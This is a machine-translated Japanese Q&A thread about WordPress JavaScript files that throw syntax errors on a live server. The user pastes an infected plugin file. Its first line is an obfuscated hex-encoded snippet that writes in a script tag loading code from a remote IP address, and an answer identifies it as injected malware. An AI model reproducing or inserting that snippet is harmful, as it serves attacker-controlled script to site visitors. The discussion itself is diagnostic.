2017-06-22 13 views
0

localhostではすべて正常に動作しますが、ライブサーバーでは、突然すべての単一のjsファイルに対して上記のエラーが発生します。SyntaxError:missing;前の文のエラーがワードプレスで

wp_enqueue_scriptsをコメントアウトして、エラーが消えるかどうかを確認しました。

また、文字列の連結が考えられていると考えている行の下に追加されています。

//prevent javascript concat 
define('CONCATENATE_SCRIPTS', false); 

この問題の原因はわかりません。私に助言してください。サイトへのアクセスをテストに提供できます。

EDIT:

私はエラー発言とコンソールに示す私のプラグインファイルのいずれかを開きました。実際のコードが始まる前に奇妙な文字列に気づいた。私はこれが問題だと思う。

これは他の場所からのワードプレスまたは不要な文字列によってプレフィックスになりますか?あなたの_0xaae8

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() { 

    var meta_image_frame; 
    var meta_mobileimage_frame; 

     // Runs when the image button is clicked. 
     jQuery('#banner_manager_image_button').click(function(e){ 

     ....plugins js code----- 
     }); 


}); 
+0

ファイルがサーバーに正しく移動したかどうかを確認してください。どこか別の文字があるかもしれませんか? '\ r \ n'のように' \ r'に置き換えられ、すべてのコメントが台無しになる – Justinas

+0

javascriptファイルを見て、問題がどこにあるかを知りたいかもしれません。エラーの行番号がある場合は、さらに良い。 – aynber

+0

@aynber、私はコンソールからjsファイルの1つをチェックしました。上記の私の所見を私の所見に加えました。 – 112233

答えて

1

jQuery(document).ready(;が不足しています。


次のコード:var _0xaae8=[...は注入コードと似ています。通常、私はこのようなコードが、ユーザーがファイルをサーバにアップロードするような作業をすることを可能にするいくつかの悪い記述ツール/プラグイン/ libsを介して注入されたのを見ました。あなたのコードではない場合は削除し、サーバー上の他のファイルもチェックすることをお勧めします。

+0

追加の文字列がどこに注入されたかわからないので、削除できません。また、すべてのプラグインを無効にして、問題が解決したかどうかを確認しました。しかしそれは永続する。 – 112233

+0

スクリプトローダーのprint_head_scripts関数にエラーが含まれていると思われます...チェック – 112233

+0

@ 112233ファイルが既に挿入されているため、プラグインを無効にすると役立たない場合があります。 – Justinas

関連する問題